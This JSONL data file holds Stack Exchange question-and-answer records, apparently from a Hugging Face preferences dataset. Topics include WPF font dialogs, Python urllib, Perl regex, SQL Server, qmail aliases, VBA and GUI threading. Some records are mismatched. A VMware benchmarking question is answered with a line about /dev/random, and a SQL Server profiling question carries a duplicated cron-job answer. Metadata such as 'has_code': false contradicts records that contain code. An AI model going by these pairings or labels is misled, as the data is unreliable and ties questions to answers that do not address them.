ThreadLocal can be used to make the tenant ID of the current request available to any code that needs to know about it.\nI have used this approach before successfully to support multi-tenancy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.945436"}
{"id": "hf_c6394dffa410", "question": "<p>Just found this out the hard way. I wanted to pop up a FontDialog to allow the user to choose a font.. one of those familiar dialogs..</p>\n", "question_body": "", "answer": "Not all of them have equivalents.\nThe FontDialog for instance doesnt.. (grumble grumble). This page has the complete lowdown.. posting since it may be useful just as a mental note.\nhttp://msdn.microsoft.com/en-us/library/ms750559.aspx\nUpdate:\nThe Programming WPF book had this covered. Apparently some of the dialogs didn't make the RTM bus. The FontDialog that will included into the next update is available here.. as is the ColorPicker dialog. Also you shuoldn't blindly use Win32 dialogs, because the corresponding types in WPF (e.g. Font and Color are \"bigger and better\" now.)\nhttp://blogs.msdn.com/wpfsdk/archive/2006/10/26/Uncommon-Dialogs--Font-Chooser-and-Color-Picker-Dialogs.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:53.992919"}
{"id": "hf_b52b5e76ecc7", "question": "<p>I try to fetch a Wikipedia article with Python's urllib:</p>\n\n<pre><code>f = urllib.urlopen(\"http://en.wikipedia.org/w/index.php?title=Albert_Einstein&amp;printable=yes\")           \ns = f.read()\nf.close()\n</code></pre>\n\n<p>However instead of the html page I get the following response: Error - Wikimedia Foundation:</p>\n\n<pre><code>Request: GET http://en.wikipedia.org/w/index.php?title=Albert_Einstein&amp;printable=yes, from 192.35.17.11 via knsq1.knams.wikimedia.org (squid/2.6.STABLE21) to ()\nError: ERR_ACCESS_DENIED, errno [No Error] at Tue, 23 Sep 2008 09:09:08 GMT \n</code></pre>\n\n<p>Wikipedia seems to block request which are not from a standard browser.</p>\n\n<p>Anybody know how to work around this?</p>\n", "question_body": "", "answer": "Try changing the user agent header you are sending in your request to something like:\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) Firefox/3.0.1 (Linux Mint)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.054262"}
{"id": "hf_5f9844c5addc", "question": "<p>I have a string of arbitrary length, and starting at position p0, I need to find the first occurrence of one of three 3-letter patterns.</p>\n\n<p>Assume the string contain only letters. I need to find the count of triplets starting at position p0 and jumping forward in triplets until the first occurrence of either 'aaa' or 'bbb' or 'ccc'.</p>\n\n<p>Is this even possible using just a regex?</p>\n", "question_body": "", "answer": "```\n```\n$string=~/^   # from the start of the string\n            (?:.{$p0}) # skip (don't capture) \"$p0\" occurrences of any character\n            (?:...)*?  # skip 3 characters at a time,\n                       # as few times as possible (non-greedy)\n            (aaa|bbb|ccc) # capture aaa or bbb or ccc as $1\n         /x;\n```\n```\n(Assuming p0 is 0-based).\nOf course, it's probably more efficient to use substr on the string to skip forward:\n```\n```\nsubstr($string, $p0)=~/^(?:...)*?(aaa|bbb|ccc)/;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.090720"}
{"id": "hf_4e876c3d89a6", "question": "<p>I am using the open source <a href=\"http://openwebware.com/\" rel=\"nofollow noreferrer\">Javascript WYSIWYG from OpenWebWare</a> and Asp.Net <strong>RequiredFieldValidator</strong> on the <strong>TextBox</strong> which I am calling the WYSIWYG for.  Everything works fine, but the first time I try to submit the form, I get the server-side <strong>RFV</strong> <strong>ErrorMessage</strong> \"Required\", but if I submit a second time, it goes through.</p>\n\n<p>Am I missing something?  I would like to have the client-side validation... how can I get the text to register as not empty?</p>\n", "question_body": "", "answer": "the textarea HTML tag is one of the most unpleasent tags to work with and I'm not 100% sure if the client-side validator will support it, regardless of whether it's a WYSIWYG or not.\nI think you'd be best off using a CustomValidator and writing the JavaScript which does the checking manually.\nAlternatively you can debug though the JavaScript which is used with FireBug or VS 2008.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.116026"}
{"id": "hf_84fe5d1b6e27", "question": "<p>Is there a way to alter the precision of an existing decimal column in Microsoft SQL Server?</p>\n", "question_body": "", "answer": "```\n```\nALTER TABLE Testing ALTER COLUMN TestDec decimal(16,1)\n```\n```\nJust put\n```\ndecimal(precision, scale)\n```\n, replacing the precision and scale with your desired values.\nI haven't done any testing with this with data in the table, but if you alter the precision, you would be subject to losing data if the new precision is lower.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.152260"}
{"id": "hf_10f1ac053617", "question": "<p>I am using following PHP code to connect to MS Access database:</p>\n\n<pre><code>$odb_conn = new COM(\"ADODB.Connection\");\n$connstr = \"DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=\". $db_path.\";\";\n$odb_conn-&gt;open($connstr);\n</code></pre>\n\n<p>How can I retrieve database catalog/metadata from the mdb file?</p>\n\n<p><strong>FOUND THE SOLUTION</strong></p>\n\n<pre><code>$rs_meta = $odb_conn-&gt;OpenSchema(20, array(Null, Null, Null, \"TABLE\"));\n</code></pre>\n", "question_body": "", "answer": "The\n```\nMSysObjects\n```\ntable can be used to query metadata in Access:\n```\n```\nSELECT NAME\nFROM MSysObjects\nWHERE Type In (1,4,6) AND Left([Name],4)<>\"MSYS\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.211233"}
{"id": "hf_835ae4ae7988", "question": "<p>What's the difference between failover and disaster recovery?</p>\n", "question_body": "", "answer": "Failover: When one machine fails, another machine (usually in the same location) takes over and resumes service\nDisaster recovery: When Godzilla destroys your data center, you do have alternative locations to keep providing your service and protocols/means for the other location to know how to keep delivering the service\nDepending on the particular needs of each service, disaster recovery might just be a backup tape in a safe in a different location. In other words, it's just having a defined protocol to recover from disaster. Likewise, failover might just be having a spare backup machine which makes you go to the data center for it to take over the place of the failed one, that is, having a defined protocol about what to do in case of machine failure.\nSumming up, failover answers the question 'what do I do in case a single machine fails?', disaster recovery answers 'what do I do in case a disaster happens (fire, floods, war, ISP goes bankrupt, whatever)?'\nHigh Availability Deployment Architecture", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.258385"}
{"id": "hf_96e4d90aa211", "question": "<p>I'm doing some testing on Firefox toolbars for the sake of learning and I can't find out any information on how to store the contents of a \"search\" drop-down inside the user's profile.</p>\n\n<p>Is there any tutorial on how to sort this out?</p>\n", "question_body": "", "answer": "Since it's taking quite a bit to get an answer I went and investigate it myself.\nHere is what I've got now. Not all is clear to me but it works.\nLet's assume you have a <textbox> like this, on your .xul:\n```\n```\n<textbox id=\"search_with_history\" />\n```\n```\nYou now have to add some other attributes to enable history.\n```\n```\n<textbox id=\"search_with_history\" type=\"autocomplete\"\n    autocompletesearch=\"form-history\"\n    autocompletesearchparam=\"Search-History-Name\"\n    ontextentered=\"Search_Change(param);\"\n    enablehistory=\"true\"\n />\n```\n```\nThis gives you the minimum to enable a history on that textbox.\nFor some reason, and here is where my ignorance shows, the onTextEntered event function has to have the param to it called \"param\". I tried \"event\" and it didn't work.\nBut that alone will not do work by itself. One has to add some Javascript to help with the job.\n```\n```\n// This is the interface to store the history\nconst HistoryObject = Components.classes[\"@mozilla.org/satchel/form-history;1\"]\n    .getService(\n        Components.interfaces.nsIFormHistory2 || Components.interfaces.nsIFormHistory\n    );\n// The above line was broken into 4 for clearness.\n// If you encounter problems please use only one line.\n\n// This function is the one called upon the event of pressing <enter>\n// on the text box\nfunction Search_Change(event) {\n    var terms = document.getElementById('search_with_history').value;\n    HistoryObject.addEntry('Search-History-Name', terms);\n}\n```\n```\nThis is the absolute minimum to get a history going on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.294912"}
{"id": "hf_ef7bc30472d0", "question": "<p>I am using VMware Server 1.0.7 on Windows XP SP3 at the moment to test software in virtual machines.</p>\n\n<p>I have also tried Microsoft Virtual PC (do not remeber the version, could be 2004 or 2007) and VMware was way faster at the time.</p>\n\n<p>I have heard of Parallels and VirtualBox but I did not have the time to try them out. Anybody has some benchmarks how fast is each of them (or some other)?</p>\n\n<p>I searched for benchmarks on the web, but found nothing useful.</p>\n\n<p>I am looking primarily for free software, but if it is really better than free ones I would pay for it.</p>\n\n<p>Also, if you are using (or know of) a good virtualization software but have no benchmarks for it, please let me know.</p>\n", "question_body": "", "answer": "The\n```\n/dev/random\n```\ndevice is intended to be a source of cryptographically secure bits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.379856"}
{"id": "hf_d390b47657d9", "question": "<p>I have a site on my webhotel I would like to run some scheduled tasks on. What methods of achieving this would you recommend?</p>\n\n<p>What I’ve thought out so far is having a script included in the top of every page and then let this script check whether it’s time to run this job or not.</p>\n\n<p>This is just a quick example of what I was thinking about:</p>\n\n<pre><code>if ($alreadyDone == 0 &amp;&amp; time() &gt; $timeToRunMaintainance) {\n   runTask();\n   $timeToRunMaintainance = time() + $interval;\n} \n</code></pre>\n\n<p>Anything else I should take into consideration or is there a better method than this?</p>\n", "question_body": "", "answer": "That's what cronjobs are made for.\n```\nman crontab\n```\nassuming you are running a linux server.  If you don't have shell access or no way to setup cronjobs, there are free services that setup cronjobs on external servers and ping one of your URLs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.415638"}
{"id": "hf_77f0d97696ae", "question": "<p>I am trying to optimize some stored procedures on a SQL Server 2000 database and when I try to use SQL Profiler I get an error message \"In order to run a trace against SQL Server you have to be a member of sysadmin fixed server role.\". It seems that only members of the sysadmin role can run traces on the server (something that was fixed in SQL Server 2005) and there is no way in hell that I will be granted that server role (company policies)</p>\n\n<p>What I'm doing now is inserting the current time minus the time the procedure started at various stages of the code but I find this very tedious </p>\n\n<p>I was also thinking of replicating the database to a local installation of SQL Server but the stored procedure is using data from many different databases that i will spend a lot of time copying data locally</p>\n\n<p>So I was wondering if there is some other way of profiling SQL code? (Third party tools,  different practices, something else )</p>\n", "question_body": "", "answer": "That's what cronjobs are made for.\n```\nman crontab\n```\nassuming you are running a linux server.  If you don't have shell access or no way to setup cronjobs, there are free services that setup cronjobs on external servers and ping one of your URLs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.439728"}
{"id": "hf_c22b7bc0517c", "question": "<p>I'm trying to put together a selector in SASS that will operate on the visted, hovered state of a link, but I can't quite seem to get the markup right, can someone enlighten me?\nI was writing it like this:</p>\n\n<pre><code> &amp;:visited:hover\n     attribute: foo\n</code></pre>\n", "question_body": "", "answer": "```\n```\na\n &:visited:hover\n    :attribute foo\n```\n```\nTry that - note that identation is two spaces, and the colon goes before attribute not after.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.465027"}
{"id": "hf_318ba29fa44a", "question": "<p>Python allocates integers automatically based on the underlying system architecture. Unfortunately I have a huge dataset which needs to be fully loaded into memory. </p>\n\n<p>So, is there a way to force Python to use only 2 bytes for some integers (equivalent of C++ 'short')?</p>\n", "question_body": "", "answer": "Nope.  But you can use short integers in arrays:\n```\n```\nfrom array import array\na = array(\"h\") # h = signed short, H = unsigned short\n```\n```\nAs long as the value stays in that array it will be a short integer.\ndocumentation for the\narray module", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.489072"}
{"id": "hf_1c7be47d1cfb", "question": "<p>Say for instance I was writing a function that was designed to accept multiple argument types:</p>\n\n<pre><code>var overloaded = function (arg) {\n    if (is_dom_element(arg)) {\n        // Code for DOM Element argument...\n    }\n};\n</code></pre>\n\n<p>What's the best way to implement <strong><code>is_dom_element</code></strong> so that it works in a cross-browser, fairly accurate way?</p>\n", "question_body": "", "answer": "Probably this one here:\n```\n```\nnode instanceof HTMLElement\n```\n```\nThat should work in most browsers.  Otherwise you have to duck-type it (eg.\n```\ntypeof x.nodeType != 'undefined'\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.516967"}
{"id": "hf_b9adc1a941bf", "question": "<p>I'm looking for non-web-based tools to view IIS logs.  I've been using <a href=\"http://www.microsoft.com/technet/scriptcenter/tools/logparser/default.mspx\" rel=\"nofollow noreferrer\">LogParser</a> but I was hoping for something with an interface.  It doesn't need to do any fancy reports or charts -- just a list with some search filters is plenty.  I need something lightweight that I can run directly on the web server, preferably without a complex install process.</p>\n", "question_body": "", "answer": "I find that command-line tools are often enough. For example, to list all log entries with a 404 response:\n```\n```\nfindstr \"404\" logfilename > out.txt\n```\n```\nFindstr supports regular expressions in the search term and wildcards in the filename, so it is quite flexible for dealing with logfiles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.681955"}
{"id": "hf_910f998ebb03", "question": "<p>I am putting together a proposal for a large multinational company for our licenced solution. Problem is I've never put together something this big before and so I don't know what is acceptable.  Ignoring hosting or support (or even the functionality of the app) for the moment and just concentrating the licence - do you think it's more usual to do it on a per user basis - and if so would the company mind when prices fluctuate as more users come on board?  Or is it more normal to do bands of users: 1-1000, 1000-5000, 5000-10000, 10000-25000, 25000-50000, 50000-100k, 100k+ (probably maximum usage).  Does anyone know of any good links about this kind of thing?  Has anyone here procured a complex, multilingual web app for 30000 users and how much is acceptable?</p>\n", "question_body": "", "answer": "It's going to depend on your situation I suppose, is this licensed solution already complete, or is it going to be created specifically for this company. If it's the first, I'd suggest using previous offers as basis. If it's going to be developped, it's going to depend on how you want to recoup your money for developing it. Over what period of time do you want to recoup your costs etc. I'd say that bands of users is probably the most common solution, as people probably don't want to relicense for every individual user.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.706003"}
{"id": "hf_b77e155d3a5b", "question": "<p>How do I iterate over a set of records in RPG(LE) with embedded SQL?</p>\n", "question_body": "", "answer": "Usually I'll create a cursor and fetch each record.\n```\n```\n//***********************************************************************\n   // Main - Main Processing Routine\n   begsr Main;\n\n     exsr BldSqlStmt;\n\n     if OpenSqlCursor() = SQL_SUCCESS;\n\n       dow FetchNextRow() = SQL_SUCCESS;\n         exsr ProcessRow;\n       enddo;\n\n       if sqlStt = SQL_NO_MORE_ROWS;\n         CloseSqlCursor();\n       endif;\n\n     endif;\n\n     CloseSqlCursor();\n\n   endsr;    // Main\n```\n```\nI have added more detail to this answer\nin a post on my website\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.754344"}
{"id": "hf_df0ffe3fd6f0", "question": "<p>What's the difference between \"Layers\" and \"Tiers\"?</p>\n", "question_body": "", "answer": "Read Scott Hanselman's post on the issue:\nA reminder on \"Three/Multi Tier/Layer Architecture/Design\"\n:\nRemember though, that in \"Scott World\" (which is hopefully your world also :) ) a \"Tier\" is a unit of deployment, while a \"Layer\" is a logical separation of responsibility within code.  You may say you have a \"3-tier\" system, but be running it on one laptop.  You may say your have a \"3-layer\" system, but have only ASP.NET pages that talk to a database.  There's power in precision, friends.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.778114"}
{"id": "hf_7b21c8128b2b", "question": "<p>I've noticed that Internet Explorer adds a number in square brackets to files downloaded from the internet (usually [1]). This creates a big problem with downloading Excel spreadsheets as square brackets are not a valid filename character inside Excel worksheet name. That problem is IE specific, others browsers are keeping same file name.</p>\n\n<p>So, if you have a pivot table auto-refreshed on file opening for example, you'll get an error message saying the name \"file[1].yourPivotTableName\" is not valid.</p>\n\n<p>Is there any solution to that problem ?</p>\n\n<p>EDIT : It seems that whatever the <strong>filename suggested by HTTP directives</strong>, IE adds [1] in all cases, which cause the problem ! (So, answers about filenames aren't helpful in that case)</p>\n\n<p>EDIT : I've tried some VBA code to save file under another name when it'll open. However, it doesn't work (same error message than before). Do you think there's a way to fix that with VBA ?</p>\n", "question_body": "", "answer": "Actually, the correct .NET-code is as following:\n```\n```\nResponse.AppendHeader(\"content-disposition\", \"attachment;filename=file.xls\");\nResponse.ContentType = \"application/vnd.ms-excel\";\n```\n```\nNote:\nAppendHeader\n, not\nAddHeader\n, which I think only works in debug web-server and IIS7.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.862677"}
{"id": "hf_34ce524b0291", "question": "<p>I'm trying to populate a TDBGrid with the results of the following TQuery against the file Journal.db:</p>\n\n<pre><code>select * from Journal\nwhere  Journal.where = \"RainPump\"\n</code></pre>\n\n<p>I've tried both <code>Journal.\"Where\"</code> and <code>Journal.[Where]</code> to no avail.</p>\n\n<p>I've also tried: <code>select Journal.[Where] as \"Location\"</code> with the same result.</p>\n\n<p>Journal.db is a file created by a third party and I am unable to change the field names.</p>\n\n<p>The problem is that the field I'm interested in is called 'where' and understandably causes the above error. How do I reference this field without causing the BDE (presumably) to explode?</p>\n", "question_body": "", "answer": "```\n```\nselect * from Journal where Journal.\"where\" = \"RainPump\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.887622"}
{"id": "hf_a4b4dc5ba7eb", "question": "<p>I need to know where i can get a free version of C and C++ compilers for Windows Vista. Many of the versions i have tried are not working in fullscreen mode.</p>\n", "question_body": "", "answer": "Please take a look at\nvisual studio 2008 express edition\n.\nIt is a freeware IDE and compiler from Microsoft for C#, VB.Net, C++, SQL, and web.\nThe Express line is a lightweight version of Microsoft Visual Studio 2008 product.\nI believe it has full screen support in the IDE.\nSee the\nwikipedia page for further reading\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.924015"}
{"id": "hf_04d85342bb5e", "question": "<p>We have a vxWorks design which requires one task to process both high and low priority messages sent over two message queues.<br>\nThe messages for a given priority have to be processed in FIFO order.  </p>\n\n<p>For example, process all the high priority messages in the order they were received, then process the low priority messages.  If there is no high priority message, then process the low priority message immediately.</p>\n\n<p>Is there a way to do this?</p>\n", "question_body": "", "answer": "In vxWorks, you can't wait directly on multiple queues.  You can however use the OS events (from eventLib) to achieve this result.\nHere is a simple code snippet:\n```\n```\nMSG_Q_ID lowQ, hiQ;\n\nvoid Init() {\n// Task Initialization Code.  This should be called from the task that will\n// be receiving the messages\n...\nhiQ = msgQCreate(...);\nlowQ = msgQCreate(...);\nmsgQEvStart(hiQ, VX_EV01);  // Event 1 sent when hiQ receives message\nmsgQEvStart(loQ, VX_EV02);  // Event 2 sent when loQ receives message\n...\n}\nvoid RxMessages() {\n...\n  UINT32 ev;   // Event received\n\n   // Blocks until we receive Event 1 or 2\n   eventReceive(VX_EV01 | VX_EV02, EVENT_WAIT_ANY, WAIT_FOREVER, &ev);\n   if(ev & VX_EV01) {\n      msgQReceive(hiQ, ...);\n   }\n   if(ev & VX_EV02) {\n      msgQReceive(loQ, ...);\n   }\n}\n```\n```\nNote that you need to modify that code to make sure you drain all your queues in case there is more than one message that was received.\nThe same mechanism can also be applied to Binary semaphores using the semEvStart() function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:54.973854"}
{"id": "hf_36cb93455676", "question": "<p>What would be the best way to expose certain functionality in a Dotnet VSTO Excel add-in to VBA, without requiring the user to be a local administrator (i.e. no COM registration, <a href=\"http://www.devnewsgroups.net/group/microsoft.public.dotnet.framework/topic49734.aspx\" rel=\"nofollow noreferrer\">no HttpListener</a>)? Would it be possible to use Microsoft Message Queues from VBA?</p>\n", "question_body": "", "answer": "If I may interpret your question as broadly as \"How do I expose functionality in a .Net assembly to Excel without COM registration\" then an excellent solution is to use Excel's XLL interface.\nBasically one deploys an xll shim and an associated .Net dll. When the xll is loaded it reflects over the dll and exposes the functions therein to Excel.\nAn open source implementation can be found here\nhttp://exceldna.typepad.com/blog/2006/01/introducing_exc.html\nA commercial, closed source, but more feature rich one here\nhttp://www.managedxll.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.010713"}
{"id": "hf_f6be1431637a", "question": "<p>I would like to trash the mail received by a single qmail alias.  I don't want any mail delivery errors, and I want qmail to be happy about having delivered the mail.</p>\n\n<p>How can I do this, preferably without adding another local email account?</p>\n", "question_body": "", "answer": "Create an alias by creating a file /var/qmail/aliases/.qmail-\nblackhole\nwith this content:\n```\n```\n|cat >/dev/null\n```\n```\nThen redirect whatever you want to this ‘blackhole’ alias (or use whatever you want in place of ‘blackhole’). Merely using /dev/null won’t work (\n```\nUnable_to_write_/dev/null\n```\n).\nThe messages will still be logged, however. Though it’s more of a feature than a bug.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.058478"}
{"id": "hf_c0906d808b2e", "question": "<p>Is Eclipse at all theme-able? I would like to install a dark color scheme for it, since I much prefer white text on dark background than the other way around.</p>\n", "question_body": "", "answer": "Here's a guy that posted his Eclipse preferences for changing the colors like a theme:\nhttp://blog.codefront.net/2006/09/28/vibrant-ink-textmate-theme-for-eclipse/\nAnd here's more about how to set the colors in the\nGanymede Eclipse version\n(v. 3.4, mid 2008):\nhttp://help.eclipse.org/ganymede/index.jsp?topic=/org.eclipse.platform.doc.user/concepts/accessibility/fontsandcolors.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.133669"}
{"id": "hf_1123e9db0aa8", "question": "<p>I got this error when I checked out my database from source control. It might sounds weird to check in the sql server database, but this was what I have done because this is just a personal project.</p>\n\n<p>Anyone knows how to fix this?</p>\n", "question_body": "", "answer": "You really don't want to be checking database files into and out of source control - in SQL Server you have to detach the files for this to even work and you run all kinds of risks.\nIf you absolutely have to do this, you should version backups.\nI recommend versioning a script which creates the entire database (tables, sprocs, views, etc.)\nYou can try creating a database attaching from that data file and using\nCreate Database\nthe\n```\nATTACH_REBUILD_LOG\n```\noption, but I'm not confident it's going to work since they probably weren't detached properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.158594"}
{"id": "hf_491aa7194e6f", "question": "<p>This is a real issue that applies on tagging items in general (and yes, this applies to StackOverflow too, and no, it is not a question about StackOverflow).</p>\n\n<p>The whole tagging issue helps cluster similar items, whatever items they may be (jokes, blog posts, so questions etc). However, there (usually but not strictly) is a hierarchy of tags, meaning that some tags <em>imply</em> other tags too. To use a familiar example, the \"c#\" so tag implies also \".net\"; another example, in a jokes database, a \"blondes\" tag implies the \"derisive\" tag, similarly to \"irish\" or \"belge\" or \"canadian\" etc depending on the joke's country origin.</p>\n\n<p>How have you handled this, if you have, in your projects? I will supply an answer describing two different methods I have used in two separate cases (actually, the same mechanism but implemented in two different environments), but I am also interested not only on similar mechanisms, but also on your opinion on the hierarchy issue.</p>\n", "question_body": "", "answer": "The mechanism I have implemented was to not use the tags given themselves, but an indirect lookup table (not strictly DBMS terms) which links a tag to many implied tags (obviously, a tag is linked with itself for this to work).\nIn a python project, the lookup table is a dictionary keyed on tags, with values sets of tags (where tags are plain strings).\nIn a database project (indifferent which RDBMS engine it was), there were the following tables:\n```\n```\n[Tags]\ntagID integer primary key\ntagName text\n\n[TagRelations]\ntagID integer # first part of two-field key\ntagID_parent integer # second part of key\ntrlValue float\n```\n```\nwhere the trlValue was a value in the (0, 1] space, used to give a gravity for the each linked tag; a self-to-self tag relation always carries 1.0 in the trlValue, while the rest are algorithmically calculated (it's not important how exactly). Think the example jokes database I gave; a ['blonde', 'derisive', 0.5] record would correlate to a ['pondian', 'derisive', 0.5] and therefore suggest all derisive jokes given another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.198120"}
{"id": "hf_221f328d6871", "question": "<p>In the past I've worked with a number of programmers who have worked exclusively writing GUI applications.</p>\n\n<p>And I've been given the impression that they have almost universally minimised the use of multiple threads in their applications. In some cases they seem to have gone to extreme lengths to ensure that they use a single thread.</p>\n\n<p>Is this common? Is this the generally accepted philosophy for gui application design?</p>\n\n<p>And if so, why?</p>\n\n<p>[edit]</p>\n\n<p>There are a number of answers saying that thread usage should be minimised to reduce complexity. Reducing complexity in general is a good thing.</p>\n\n<p>But if you look at any number of applications where response to external events is of paramount importance (eg. web servers, any number of embedded applications) there seems to be a world of difference in the attitude toward thread usage.</p>\n", "question_body": "", "answer": "I think in terms of windows you are limited to all GUI operations happening on a single thread - because of the way the windows message pump works, to increase responsivness most apps add at least one additional worker thread for longer running tasks that would otherwise block and make the ui unresponsive.\nThreading is fundamentally hard and so thinking in terms or more than a couple threads can often result in a lot of debugging effort - there is a quote that escapes me right now that goes something like - \"if you think you understand threading then you really dont\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:55.222977"}
